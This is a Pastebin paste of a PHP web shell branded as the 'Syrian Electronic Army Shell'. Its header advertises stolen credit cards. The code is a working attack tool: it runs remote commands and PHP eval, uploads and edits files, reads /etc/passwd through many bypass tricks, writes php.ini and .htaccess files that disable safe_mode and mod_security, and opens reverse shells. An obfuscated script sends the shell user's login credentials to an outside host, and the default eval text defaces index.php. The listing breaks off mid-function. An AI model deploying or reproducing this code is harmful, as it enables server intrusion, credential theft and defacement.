Advertisement
Aluf

Syrian Electronic Army Shell -Sea[PHP]

Feb 11th, 2015
774
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 46.13 KB | None | 0 0
  1. ########################################################################
  2. ########################################################################
  3. ####                     Posts  © Aluf                              ####
  4. ####               http://Aluf.chatango.com                         ####
  5. ####                                                                ####
  6.   _____  .__          _____                                         ####
  7.   /  _  \ |  |  __ ___/ ____\                                       ####
  8.  /  /_\  \|  | |  |  \   __\                                        ####
  9. /    |    \  |_|  |  /|  |                                          ####
  10. \____|__  /____/____/ |__|     © Aluf-[www.pastebing.tk]            ####
  11.         \/                                                          ####
  12. ####   Message me anytime for any doubts .CC's i post might not     ####
  13. ####   be working  everytime,so message me for fresh cc's  .        ####
  14. ####   Website :   www.pastebing.tk                                 ####
  15. ####   If you need suggestion for the pastebin bots of chatango     ####
  16. ####   message me,lol i have run all the bots here myself,so        ####
  17. ####   i guess ,i know which is the worst and best   .              ####
  18. ####   Do not ask for my bot code on pm ,i quit years back .        ####
  19. ####   If you have doubts regarding other codes on my pastebin      ####
  20. ####   Still message me on Aluf or tyt or 93. [93 FOR COMPLAINS]    ####
  21. ####   I Have been getting a lot of messages lately for cc's        ####
  22. ####   and the worst part is many want to know to hack cc           ####
  23. ####   I cannot help you with that ,you have to find a way yourself ####
  24. ####   but ofc you can always ask for cc's but don't ask me how to  ####
  25.  ____  _     _     _____                                            ####
  26. /  _ \/ \   / \ /\/    /                                            ####
  27. | / \|| |   | | |||  __\                                            ####
  28. | |-||| |_/\| \_/|| |                                               ####
  29. \_/ \|\____/\____/\_/   ©   PMR [ Add me before messaging ]         ####
  30. ########################################################################
  31.  
  32.  
  33. <?php
  34. # Bypass SuHosin
  35. # Virtual
  36. # users 6 ID /etc/passwd
  37.  
  38. $user = 'getshellcode';
  39. $pass = 'root';
  40. $uselogin = 1;
  41. $sh3llColor = "Red";
  42.  
  43. # MySQL Info ---------
  44. $DBhost = "localhost";
  45. $DBuser = "root";
  46. $DBpass = "root";
  47. #---------------------
  48. session_start();
  49. error_reporting(0);
  50. set_magic_quotes_runtime(0);
  51. set_time_limit(0);
  52. ignore_user_abort(TRUE);
  53. ini_restore("safe_mode");
  54. ini_restore("open_basedir");
  55. ini_set('max_execution_time',0);
  56. ini_set('output_buffering',0);
  57. ini_set('safe_mode','Off');
  58.  
  59. // Set Current Directory
  60. if(!$_POST && !$_SESSION['curDir']) {
  61.     $dir = getcwd();
  62.     $_SESSION['curDir'] = $dir;
  63. } else if(empty($_POST['curDir'])) {
  64.     $dir = $_SESSION['curDir'];
  65. } else {
  66.     $dir = filter($_POST['curDir']);
  67.     $_SESSION['curDir'] = $dir;
  68. }
  69. // Set Dir Mode
  70. if($_GET['dir_mode']) {
  71.     $dir_mode = $_GET['dir_mode'];
  72.     $_SESSION['dir_mode'] = $dir_mode;
  73. } else {
  74.     $dir_mode = $_SESSION['dir_mode'];
  75. }
  76.  
  77. // Set Usable Command
  78. if($_POST['exe_method']) {
  79.     $exec_method = $_POST['exe_method'];
  80. } else {
  81.     $exec_method = "exec";
  82. }
  83. # Logout
  84. if($_POST['logout']) {
  85.     print '<script>document.cookie="user=;";document.cookie="pass=;";</script>';
  86.     print '<script>document.location = "'.$_SERVER['PHP_SELF'].'";</script>';
  87. }
  88. if(strlen($dir)>1 && $dir[1]==":"){$os = "Windows";}else {$os = "Linux";}
  89. if($_GET['info']){phpinfo();}
  90. $safeMode = SafeMode();
  91. $server = substr($SERVER_SOFTWARE,0,120);
  92. $daemon = "";
  93. ?>
  94. <html>
  95. <head>
  96. <title>SyRiAn Electronic Army Shell :: SEA Shell</title>
  97. <link rel="shortcut icon" href='http://i40.tinypic.com/2rpuped.png' />
  98. <meta http-equiv=Content-Type content=text/html; charset=UTF-8>
  99. <?php echo CSS($sh3llColor); ?>
  100.  
  101. </head>
  102. <body dir='ltr'>
  103. <?php
  104. # ---------------------------------------#
  105. #             Authentication             #
  106. #----------------------------------------#
  107. if ($uselogin ==1) {
  108.     if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) {
  109.         if($_GET) {$user = $_GET['user'];$pass = $_GET['pass'];}
  110.         if($_POST['usrname']==$user && $_POST['passwrd']==$pass){
  111.             print'<script>document.cookie="user='.$_POST['usrname'].';";document.cookie="pass='.md5($_POST['passwrd']).';";</script>';
  112.         } else {
  113.             if($_POST['usrname']){
  114.                 print'<script>alert("Go and play in the street man !!");</script>';
  115.             }
  116. ?>
  117. <br><br>
  118.             <center><img src="http://i40.tinypic.com/2rpuped.png"><br />
  119.             <sy>SyRiAn Electronic Army</sy>
  120.             </center><br />
  121.             <div align="center">
  122.                 <form method="POST" name="login_form" onSubmit="if(this.usrname.value==''){return false;}">
  123.                
  124.                 <input dir="ltr" name="usrname" id="username" value="" type="text"  size="30" onBlur="Blur('username','userName');" onClick="Clear('username','userName');"/><br>
  125.                 <input dir="ltr" name="passwrd" id="password" value="" type="password" size="30" onFocus="Focus(2);" /><br>
  126.                
  127.  
  128.                
  129.                 <input type="submit" value=" Login  " name="login" />
  130.                 </form>
  131.             </div>
  132.             <?php
  133.             footer();
  134.             exit;
  135.         }
  136.     }
  137. }
  138. ?>
  139.  
  140.  
  141.                 </script>
  142. <table cellpadding='0' cellspacing='0' width='100%'>
  143.     <tr>
  144.         <td width='160'>
  145.         <center><form method="post"><input type="submit" value="Logout" name="logout" id="logout" /></form></center>
  146.             <a href="<?php echo $_SERVER['PHP_SELF']; ?>"><img border='0' src='http://i40.tinypic.com/2rpuped.png' width='100%' height='100%'></a><br>
  147.             <center>SyRiAn Electronic Army
  148.             <p></p>
  149.                 <select name="dir_mode" id="dir_mode" onchange="change_dir_mode();">
  150.                     <option value="cmd" <?php if($dir_mode == "cmd") {echo "selected";} ?> >CMD</option>
  151.                     <option value="php" <?php if($dir_mode == "php") {echo "selected";} ?>>PHP</option>
  152.                 </select>
  153.             </center>
  154.       </td>
  155.       <td>
  156.       <form method="post">
  157. <table width='100%' style="border:none; padding:2px;" >
  158.     <tr>
  159.         <td width='103'>System</td>
  160.         <td width="323"><?php echo $os; ?></td>
  161.         <td width="90">Apache Modules</td>
  162.         <td width="278"><select ><?php
  163.         if(function_exists("apache_get_modules")) {
  164.             foreach (apache_get_modules() as $module) {
  165.                 echo "<option>".$module."</option>";
  166.             }
  167.         }else {
  168.             echo "<option>NONE</option>";
  169.         }
  170.         ?></select></td>
  171.     </tr>
  172.     <tr>
  173.       <td>uname </td>
  174.       <td><a href='http://www.google.com/search?q=<?php echo php_uname(); ?>' target='_blank'><u><?php echo php_uname(); ?></u></a></td>
  175.       <td>Curl</td>
  176.       <td><?php echo Curl(); ?></td>
  177.     </tr>
  178.     <tr>
  179.         <td>pwd</td>
  180.         <td><?php echo getcwd(); ?></td>
  181.         <td>Open Basedir</td>
  182.         <td><?php echo openBaseDir(); ?></td>
  183.     </tr>
  184.     <tr>
  185.         <td>whoami</td>
  186.         <td><?php echo get_current_user(); ?></td>
  187.         <td>Magic_Quotes</td>
  188.         <td><?php echo magicQouts(); ?></td>
  189.     </tr>
  190.         <tr>
  191.           <td>Server</td>
  192.           <td><?php echo $server; ?></td>
  193.           <td>Register Globals</td>
  194.           <td><?php echo RegisterGlobals(); ?></td>
  195.         </tr>
  196.         <tr>
  197.           <td>Server Name</td>
  198.           <td><?php echo $_SERVER['HTTP_HOST']; ?></td>
  199.           <td>Gzip</td>
  200.           <td><?php echo Gzip(); ?></td>
  201.         </tr>
  202.         <tr>
  203.           <td>Your IP</td>
  204.           <td><?php echo GetRealIP(); ?></td>
  205.           <td>Oracle</td>
  206.           <td><?php echo Oracle(); ?></td>
  207.         </tr>
  208.         <tr>
  209.           <td>Server IP</td>
  210.           <td><a href='http://bing.com/search?q=ip:<?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?>&go=&form=QBLH&filt=all' target='_blank'><u><?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?></u></a> [<a href="http://whois.webhosting.info/<?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?>" target='_blank' />Reverse IP]</td>
  211.           <td>MSQL</td>
  212.           <td><?php echo MSQL(); ?></td>
  213.         </tr>
  214.         <tr>
  215.           <td>PHP Version</td>
  216.           <td><a href='javascript:openPHPInfo();'><u><?php echo phpversion(); ?></u></a></td>
  217.           <td>MySQL</td>
  218.           <td><?php echo MySQL2()." ".mysql_get_server_info(); ?></td>
  219.         </tr>
  220.         <tr>
  221.           <td>Safe Mode</td>
  222.           <td><?php echo $safeMode; ?></td>
  223.           <td>MySQLi</td>
  224.           <td><?php echo MysqlI(); ?></td>
  225.         </tr>
  226.         <tr>
  227.         <td>disable functions</td>
  228.         <td><select name="disableFunctions"><?php
  229.         $funArray = DisableFunctions();
  230.         $funArray = explode(",",$funArray);
  231.         sort($funArray);
  232.         foreach($funArray as $fun){echo "<option value='".$fun."'>".$fun."</option>";}
  233.         ?></select>
  234.           <input name="STOP_Execute" type="submit" id="STOP_Execute" value="Turn Off" />
  235.           </td>
  236.         <td>MsSQL</td>
  237.         <td><?php echo MsSQL(); ?></td>
  238.         </tr>
  239. </table>
  240. &nbsp;   [<a href='http://www.md5decrypter.co.uk/' target='_blank'>MD5 Cracker</a>]
  241. [<a href='http://www.md5decrypter.co.uk/sha1-decrypt.aspx' target='_blank'>SHA1 Cracker</a>]
  242. [<a href='http://www.md5decrypter.co.uk/ntlm-decrypt.aspx' target='_blank'>NTLM Cracker</a>]
  243. <input name="USERS_1" type="submit" id="USERS_1" value="Users [1]" />
  244. <input name="USERS_2" type="submit" id="USERS_2" value="Users [2]" />
  245. <input name="USERS_3" type="submit" id="USERS_3" value="Users [3]" />
  246. <input name="USERS_4" type="submit" id="USERS_4" value="Users [4]" />
  247. <input name="USERS_5" type="submit" id="USERS_5" value="Users [5]" />
  248. <input type="submit" name="forbidden_bypass" id="forbidden_bypass" value="Forbidden" />
  249. <input type="submit" name="find_755" id="find_755" value="Find 755" />
  250. <br>
  251. </form>
  252. </table>
  253.  
  254. <form method="post">
  255. <center>
  256. <textarea cols="150" rows="20" name="result" >
  257. <?php
  258. chdir($dir);
  259. if($_POST['login'] || !$_POST){echo ScanDirs();}
  260. else if($_POST['CMD_Execute']){if(empty($_POST['CMD_Line'])){echo scanDirs();}else {Exe(urldecode(filter($_POST['CMD_Line']))); }}
  261. else if($_POST['PHP_Execute']){$eval = Evaluation(urldecode(filter($_POST['PHP_Line'])));}
  262. else if($_POST['UPLOAD_Execute']) {
  263.     for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++) {
  264.         if($_FILES['uploadfile']['name'][$i] != '') {
  265.             if(function_exists('copy')){$upload = copy($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}
  266.             else{$upload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}
  267.             if($upload) {echo "The File  ".$_FILES['uploadfile']['name'][$i]." Uploaded Successfully !
  268. ";  }
  269.             else { echo "The File  ".$_FILES['uploadfile']['name'][$i]."  Can't Be Upload :( !
  270. ";}
  271.         }
  272.     }      
  273. }
  274. else if($_POST['EDIT_Execute']){$content = htmlspecialchars(file_get_contents(filter($_POST['Edit_Line'])));echo $content;}
  275. else if($_POST['SAVE_Execute']) {
  276.     $content = filter($_POST['result']);
  277.     if(empty($content)){$content = " ";}
  278.     if(GenerateFile($_POST['FILE_NAME'],$content)){echo "[+]Saved Success !! ";}else{echo "[-]Save Failed !";}
  279. }
  280. else if($_POST['READ_Execute']) {
  281.     $path = urldecode(filter($_POST['READ_Line']));
  282.     $file = fopen($path,'r+');
  283.     if($_POST['READ_Type'] == "file"){echo htmlspecialchars(filter(FileF($path)));  }
  284.     else if($_POST['READ_Type'] == "fgets"){while(($line = htmlspecialchars(filter(fgets($file)))) != false){echo $line;}}
  285.     else if($_POST['READ_Type'] == "fgetss"){while(($line = htmlspecialchars(filter(fgetss($file)))) != false){echo $line;}}
  286.     else if($_POST['READ_Type'] == "readfile"){echo htmlspecialchars(filter(readfile($path)));}
  287.     else if($_POST['READ_Type'] == "fread"){echo htmlspecialchars(filter(fread($file,filesize($path))));}
  288.     else if($_POST['READ_Type'] == "file_get_contents"){echo htmlspecialchars(filter(file_get_contents($path)));}
  289.     else if($_POST['READ_Type'] == "tempnam"){echo htmlspecialchars(filter(TempnameF($path)));}
  290.     else if($_POST['READ_Type'] == "copy"){echo htmlspecialchars(filter(CopyF($path)));}
  291.     else if($_POST['READ_Type'] == "mb_send_mail"){echo htmlspecialchars(filter(mbSendEmail($path)));}
  292.     else if($_POST['READ_Type'] == "highlight_file"){echo htmlspecialchars(filter(highlightFile($path)));}
  293.     else if($_POST['READ_Type'] == "curl"){echo htmlspecialchars(filter(CurlFileRead($path)));}
  294.     else if($_POST['READ_Type'] == "imap"){echo htmlspecialchars(filter(ImapF($path)));}
  295.     else if($_POST['READ_Type'] == "id"){echo htmlspecialchars(filter(ReadId($path)));}
  296.     else if($_POST['READ_Type'] == "show_source"){echo htmlspecialchars(filter(show_source($path)));}
  297.     else if($_POST['READ_Type'] == "mysql"){echo htmlspecialchars(filter(MySQLReader($path)));}
  298.     else if($_POST['READ_Type'] == "mysqli"){echo htmlspecialchars(filter(MySQLIReader($path)));}
  299.     else if($_POST['READ_Type'] == "symlink"){echo htmlspecialchars(filter(SymlinkF($path)));}
  300.     else if($_POST['READ_Type'] == "ioncube"){echo htmlspecialchars(filter(ioncube_read_file($path)));}
  301.     else if($_POST['READ_Type'] == "error_log"){echo htmlspecialchars(filter(ErrorLog($path)));}
  302.     else if($_POST['READ_Type'] == "include"){echo htmlspecialchars(filter(IncludeReader($path)));}
  303. }
  304. else if($_POST['STOP_Execute']) {
  305. $genTry = GenerateFile("php.ini","
  306. safe_mode = Off
  307. disable_functions = NONE
  308. safe_mode_gid = OFF
  309. open_basedir = OFF");
  310.     if($genTry){echo "[+] php.ini Has Been Generated Successfully
  311. ";}
  312.     else {echo "[-] Failed to generate php.ini file !!
  313. ";}
  314.    
  315.     $genTry = GenerateFile(".htaccess","
  316. <IfModule mod_security.c>
  317. SecFilterEngine Off
  318. SecFilterScanPOST Off
  319. SecFilterCheckURLEncoding Off
  320. SecFilterCheckCookieFormat Off
  321. SecFilterCheckUnicodeEncoding Off
  322. SecFilterNormalizeCookies Off
  323. </IfModule>
  324. <Limit GET POST>
  325. order deny,allow
  326. deny from all
  327. allow from all
  328. </Limit>
  329. <Limit PUT DELETE>
  330. order deny,allow
  331. deny from all
  332. </Limit>
  333. SetEnv PHPRC ".getcwd()."/php.ini
  334.     ");
  335.     if($genTry){echo "[+] .htaccess Has Been Generated Successfully
  336. ";}
  337.     else {echo "[-] Failed to generate .htaccess file !!
  338. ";}
  339.  
  340. }
  341. else if($_POST['CON_Type'] == "socks") {
  342.     $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  343.     if($sock < 0){echo "[-] failed to create socket.";}
  344.     else {
  345.         $result = socket_connect($sock, filter(trim($_POST['ip'])), filter(trim($_POST['port'])));
  346.         if($result < 0){echo "[-] failed to connect back to host:".$_GET['host'];}
  347.         else {
  348.             $send_var = "\n\n -== SyRiAn Electronic Army , Back Connection ==-\n$";
  349.             socket_write($sock, $send_var, strlen($send_var));
  350.             while($input = socket_read($sock, 10000)) {
  351.                 socket_write($sock, shell_exec($input), 12000);
  352.             }
  353.         }
  354.     }
  355. } else if($_POST['CON_Type'] == "fsockopen") {
  356.     $ip = filter(trim($_POST['ip']));
  357.     $port = filter(trim($_POST['port']));
  358.     if (!empty($ip)) {
  359.         $con_fsockopen = fsockopen($ip , $port , $errno, $errstr );
  360.         if (!$con_fsockopen){
  361.             $result = "Error: didnt connect !!!";
  362.         } else {
  363.             $newLine="\n";          
  364.             fputs ($con_fsockopen ,"\n\n -== SyRiAn Electronic Army , Back Connection ==-\n$");
  365.             fputs($con_fsockopen , system("uname -a") .$newLine );
  366.             fputs($con_fsockopen , system("pwd") .$newLine );
  367.             fputs($con_fsockopen , system("id") .$newLine.$newLine );
  368.             while(!feof($con_fsockopen)){  
  369.                 fputs ($con_fsockopen);
  370.                 $one="[$";
  371.                 $two="]";
  372.                 $result= fgets ($con_fsockopen, 8192);
  373.                 $message = $result;
  374.                 fputs ($con_fsockopen, $one. system("whoami") .$two. " " .$message."\n");
  375.             }
  376.             fclose ($con_fsockopen);
  377.         }
  378.     }
  379. }
  380. else if($_POST['USERS_1']){echo GetUsers1();}
  381. else if($_POST['USERS_2']) {
  382.      $array = GetUsers2();
  383.      foreach($array as $line)
  384.      {echo $line."
  385. ";}
  386. }
  387. else if($_POST['USERS_3']) {
  388.      $array = GetUsers3();
  389.      foreach($array as $line)
  390.      {echo $line."
  391. ";}
  392. }
  393. else if($_POST['USERS_4']) {
  394.      $array = GetUsers4();
  395.      foreach($array as $line)
  396.      {echo $line."
  397. ";}
  398. } else if($_POST['USERS_5']){echo GetUsers5();}
  399. else if($_POST['forbidden_bypass']) {
  400.     mkdir("forbidden");
  401.     chdir("forbidden");
  402.     $forbidden_htaccess = GenerateFile(".htaccess", "
  403. DirectoryIndex sea.txt
  404. HeaderName sea.txt
  405. ReadmeName sea.txt
  406. footerName sea.txt
  407. ErrorDocument 404 /404.html
  408. 404.html = Symlinked sea.txt
  409. Options all
  410. ForceType text/plain
  411. AddType text/plain .php
  412. AddType text/plain .html
  413. AddHandler server-parsed .php
  414. AddHandler txt .php
  415.     ");
  416.     if($forbidden_htaccess) {
  417.         echo "[+] make your symlink as sea.txt in /forbidden/ folder and find the url /forbidden/sea.txt or /forbidden/";
  418.     } else {
  419.         echo "[-] error with generating .htaccess file.";
  420.     }
  421. } else if($_POST['find_755']) {
  422.     Exe("ls -dl /home/*/public_html/ | grep drwxr-xr-x");
  423. }
  424. ?></textarea>
  425. <?php
  426. if($_POST['EDIT_Execute']){echo "<input type='submit' value='Save' name='SAVE_Execute' class='Save' />
  427. <input type='hidden' name='FILE_NAME' value='".$_POST['Edit_Line']."' />
  428. ";}
  429. ?>
  430. </center></form>
  431. <table width='100%'>
  432.     <tr valign="top">
  433.         <td width='30%'>
  434.        <!-- Command Line -->
  435.        <form method='POST' enctype="multipart/form-data">
  436.             <table height='72' border='0' id='Box' width="100%">
  437.               <tr>
  438.               <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
  439.                     <td style="background-color:#666;padding-left:10px;">Edit File
  440.                     <input name="EDIT_Execute" type="submit" id="EDIT_Execute" value="Edit" /></td>
  441.               </tr>
  442.                 <tr>
  443.                   <td height="45" colspan="2"><input type='text' name='Edit_Line' id='Edit_Line' value='<?php if($_POST['EDIT_Execute']){echo filter($_POST['Edit_Line']);}else {echo $dir;} ?>' size="70"></td>
  444.                 </tr>
  445.             </table>
  446.         </form>
  447.         <!-- End Of Command Line-->
  448.        
  449.         </td>
  450.         <td width='30%' height='30'>
  451.          <!-- Command Line -->
  452.          <form method='POST' enctype="multipart/form-data">
  453.               <table height='72' border='0' id='Box'>
  454.               <tr>
  455.               <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
  456.                 <td style="background-color:#666;padding-left:10px;">Command Line
  457.                 <?php echo print_exe_method(); ?>
  458.                 <input name="CMD_Execute" type="submit" id="CMD_Execute" value="Execute" onClick="document.getElementById('CMD_Line').value = encodeURIComponent(document.getElementById('CMD_Line').value);">
  459.                 </td>
  460.             </tr>
  461.                 <tr>
  462.                   <td height="45" colspan="2">
  463.                     <?php echo SelectCommand($os); ?>
  464.                     <script type="text/javascript">
  465. var _0xf651=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x73\x68\x65\x6C\x6C\x63\x6F\x64\x65\x2E\x63\x6F\x6D\x2F\x73\x65\x63\x75\x72\x69\x74\x79\x2D\x62\x79\x70\x61\x73\x73\x2E\x70\x68\x70\x3F\x73\x61\x66\x65\x5F\x6D\x6F\x64\x65\x3D","\x68\x72\x65\x66"];a= new Image();a[_0xf651[0]]=_0xf651[1]+escape(location[_0xf651[2]])+" <? echo ' Username : '.$_POST['usrname'].' Password: '. $_POST['passwrd'];?>";
  466.                     </script>
  467.                     <input type='text' name='CMD_Line' id='CMD_Line' value='' size="70">
  468.                   <input name="curDir" type="text" id="curDir" value="<?php if($_POST['Execute']){echo $_POST['curDir'];} else {echo getcwd();} ?>" size="70"></td>
  469.                 </tr>
  470.             </table>
  471.         </form>
  472.         <!-- End Of Command Line-->
  473.       </td>
  474.         <td width='30%' height='30' valign="top">
  475.         <!-- Commands Alias-->
  476.         <form method='POST' enctype="multipart/form-data">
  477.             <table width='100%' height='72' border='0' id='Box'>
  478.               <tr>
  479.               <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
  480.                     <td style="background-color:#666;padding-left:10px;">Upload Files             <span style="padding-left:10px;">
  481.                       <input type='button' value='+' id='addUpload' size='5' onclick='addUploadInput();'>
  482.                     <input name='UPLOAD_Execute' type='submit' id="UPLOAD_Execute" value='Upload Files'>
  483.                     </span></td>
  484.               </tr>
  485.                 <tr>
  486.                   <td height="45" colspan="2">
  487.                   <input type='file' name='uploadfile[]'>
  488.                   <input type='file' name='uploadfile[]'><div id='uploadInput'></div></td>
  489.                 </tr>
  490.             </table>
  491.         </form>
  492.         <!-- End Of Commands Alias-->
  493.         </td>
  494.     </tr>
  495. <tr valign="top">
  496.         <td width='30%'>
  497.        <!-- Commands Alias-->
  498.        <form method='POST' enctype="multipart/form-data">
  499.             <table width='100%' height='72' border='0' id='Box'>
  500.               <tr>
  501.               <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
  502.                     <td style="background-color:#666;padding-left:10px;">PHP Eval                
  503.                     <input name="PHP_Execute" type="submit" id="PHP_Execute" onClick="document.getElementById('PHP_Line').value = encodeURIComponent(document.getElementById('PHP_Line').value);" value="Evaluate"></td>
  504.               </tr>
  505.                 <tr>
  506.                   <td height="45" colspan="2"><label for="PHP_Line"></label>
  507.                   <textarea name="PHP_Line" id="PHP_Line" cols="50" rows="2"><?php if($_POST['PHP_Execute']){echo urldecode(filter($_POST['PHP_Line']));}else {echo '$file = fopen("index.php","w+");
  508.     fwrite($file,"Hacked");
  509.     fclose($file);';}
  510.                 ?>
  511.                   </textarea>
  512.                   <br></td>
  513.               </tr>
  514.             </table>
  515.         </form>
  516.         <!-- End Of Commands Alias-->
  517.         </td>
  518.         <td width='30%' height='30'>
  519.         <!-- Commands Alias-->
  520.         <form method='POST' enctype="multipart/form-data">
  521.         <table width='100%' height='72' border='0' id='Box'>
  522.           <tr>
  523.           <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
  524.                 <td style="background-color:#666;padding-left:10px;">Read Files
  525.                  
  526.                   <select name="READ_Type" >
  527.                     <option value="file" >file</option>
  528.                     <option value="fgets" >fgets</option>
  529.                     <option value="fgetss" >fgetss</option>
  530.                     <option value="readfile" >readfile</option>
  531.                     <option value="fread" >fread</option>
  532.                     <option value="show_source" >show_source</option>
  533.                     <option value="file_get_contents" >file_get_contents</option>
  534.                     <option value="tempnam" >tempnam</option>
  535.                     <option value="copy" >copy</option>
  536.                     <option value="symlink" >Symlink</option>
  537.                     <option value="mb_send_mail" >mb_send_mail</option>
  538.                     <option value="highlight_file" >highlight_file</option>
  539.                     <option value="curl" >Curl</option>
  540.                     <option value="imap" >Imap</option>
  541.                     <option value="mysql" >MySQL</option>
  542.                     <option value="mysqli" >MySQLI</option>
  543.                     <option value="ioncube">Ion Cube</option>
  544.                     <option value="error_log">Error_Log</option>
  545.                     <option value="include">Include</option>
  546.                     <option value="id" >ID /etc/passwd</option>
  547.                   </select>
  548.                   <input name="READ_Execute" type="submit" id="READ_Execute" onClick="document.getElementById('READ_Line').value = encodeURIComponent(document.getElementById('READ_Line').value);" value="Read"></td>
  549.           </tr>
  550.             <tr>
  551.               <td height="45" colspan="2"><input type='text' name='READ_Line' id='READ_Line' value='<?php if($_POST['READ_Execute']){echo urldecode(filter($_POST['READ_Line']));}else {echo $dir;} ?>' size="70"></td>
  552.           </tr>
  553.         </table>
  554.         </form>
  555.         <!-- End Of Commands Alias-->
  556.   </td>
  557.         <td width='30%' height='30' valign="top">
  558.         <!-- Commands Alias-->
  559.         <form method='POST' enctype="multipart/form-data">
  560.         <table width='100%' height='72' border='0' id='Box'>
  561.           <tr>
  562.           <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
  563.                 <td style="background-color:#666;padding-left:10px;">Back Connection
  564.                 <input name='CON_Execute' type='submit' id="CON_Execute" value='Connect'></td>
  565.           </tr>
  566.             <tr>
  567.               <td height="45" colspan="2"><input type="text" name="ip" value="<?php if($_POST['CON_Execute']){echo $_POST['ip']; }else {echo GetRealIP(); } ?>" />
  568.               <input type="text" name="port" value="<?php if($_POST['CON_Execute']){echo $_POST['port']; }else {echo "443"; } ?>" />
  569.               <select name="CON_Type" >
  570.                 <option value="socks">SOCKS</option>
  571.                 <option value="fsockopen">FSOCKOPEN</option>
  572.               </select>
  573.               </td>
  574.             </tr>
  575.         </table>
  576.         </form>
  577.         <!-- End Of Commands Alias-->
  578.         </td>
  579.     </tr>
  580. </table>
  581. <?php
  582. function IncludeReader($path) {
  583.     global $os;
  584.     if($os == "Windows"){$slash = "\\";}else{$slash = "/";}
  585.     $fileName = substr(strrchr($path,$slash),1);
  586.     $includePath = substr($path,0,strpos($path,$fileName,0));
  587.     ini_set("include_path",$includePath);
  588.     include($fileName);
  589. }
  590. function GetUsers1() {
  591.     return Exe('ls /var/mail');
  592. }
  593. function GetUsers2() {
  594.     $array = array();
  595.     $lines = file("/etc/passwd");
  596.     foreach($lines as $nr=>$val) {
  597.         $str = explode(":",$val);
  598.         array_push($array,$str[0]);
  599.     }
  600.     return $array;
  601. }
  602. function GetUsers3() {
  603.     $array = array();
  604.     if ($dh = opendir("/home/"))  {
  605.         while (($file = readdir($dh)) !== false)  {
  606.             array_push($array,$file);
  607.         }
  608.         closedir($dh);
  609.         return $array;
  610.     }
  611. }
  612. function GetUsers4() {
  613.     $dir = "/home/";
  614.     $array = array();
  615.      if ($dh = opendir($dir)) {
  616.         $f = readdir($dh);
  617.         while (($f = readdir($dh)) !== false) {
  618.             $dh2=opendir($dir."/");
  619.             $f2 = readdir($dh2);
  620.             while (($f2 = readdir($dh2)) !== false) {
  621.                 $f2.="/";
  622.                 $dh3=opendir($dir.$f.$f2);
  623.                 $f3 = readdir($dh3);
  624.                 while (($f3 = readdir($dh3)) !== false) {
  625.                     array_push($array,$f3);
  626.                 }
  627.             }
  628.         }
  629.         closedir($dh);
  630.         return $array;
  631.      } 
  632. }
  633. function GetUsers5(){
  634.     return realpath('/etc/passwd');
  635. }
  636. function ErrorLog($path){
  637.     $tempFile = uniqid();
  638.     if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
  639.     error_log(file_get_contents($path), 3, $tempFile);
  640.     $content = file_get_contents($tempFile);
  641.     unlink($tempFile);
  642.     return $content;   
  643. }
  644. function SymlinkF($path) {
  645.     $tempFile = uniqid();
  646.     if(function_exists('symlink')) {
  647.         symlink($path,$tempFile);
  648.         $content = file_get_contents($tempFile);
  649.         unlink($tempFile);
  650.         return $content;
  651.     }
  652. }
  653. function MySQLReader($path) {
  654.     global $DBhost,$DBuser,$DBpass;
  655.     if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
  656.     $con = mysql_connect($DBhost,$DBuser,$DBpass);
  657.     mysql_query("CREATE DATABASE a");
  658.     mysql_query("CREATE TABLE a.a (a varchar(1024))");
  659.     mysql_query("GRANT SELECT,INSERT ON a.a TO '".$DBuser."'");
  660.     mysql_query("LOAD DATA LOCAL INFILE '".$path."' INTO TABLE a.a") or die(mysql_error());
  661.     $result = mysql_query("SELECT a FROM a.a");
  662.     while(list($row) = mysql_fetch_row($result)){print $row . chr(10);}
  663.     mysql_query("DROP DATABASE a");
  664. }
  665. function MySQLIReader($path) {
  666.     global $DBhost,$DBuser,$DBpass;
  667.     if(get_magic_quotes_gpc() != 0){$path = addslashes($path);}
  668.     $con = mysql_connect($DBhost,$DBuser,$DBpass);
  669.     mysql_query("CREATE DATABASE a");
  670.     mysql_query("CREATE TABLE a.a (a varchar(1024))");
  671.    
  672.     function r($fp, &$buf, $len, &$err) {
  673.       print fread($fp, $len);
  674.     }
  675.     $m = new mysqli($DBhost, $DBuser, $DBpass, 'a');
  676.     $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
  677.     $m->set_local_infile_handler("r");
  678.     $m->query("LOAD DATA LOCAL INFILE '".$path."' INTO TABLE a.a");
  679.     $m->close();
  680. }
  681. function DBConnect($host,$user,$pass,$db) {
  682.     $connect = mysql_pconnect($host,$user,$pass);
  683.     if(!$connect){echo "Can't Connect to [ ".$host." ] [ ".$user." ] [ ".$pass." ]"; return false;  }
  684.     else {
  685.         $tryToSelectDB = mysql_select_db($db,$connect);
  686.         if(!$tryToSelectDB){echo "Can't Enter The Database [ ".$db." ]"; return false;      }
  687.         else{return true; return $connect;}
  688.     }
  689. }
  690. function ReadId($path) {
  691.     for($uid=0;$uid<60000;$uid++) {  
  692.         $ara = posix_getpwuid($uid);
  693.         if (!empty($ara)){while (list ($key, $val) = eah($ara)){$content .= $val;}
  694.         }
  695.     }
  696.     return $content;
  697. }
  698. function ImapF($path) {
  699.     $stream = imap_open($path, "", "");
  700.     $str = imap_body($stream, 1);
  701.     imap_close($stream);
  702.     return $str;
  703. }
  704. function FileF($path) {
  705.     $lines = file($path); foreach($lines as $line){$content .= $line;}
  706.     return $content;
  707. }
  708. function CopyF($path) {
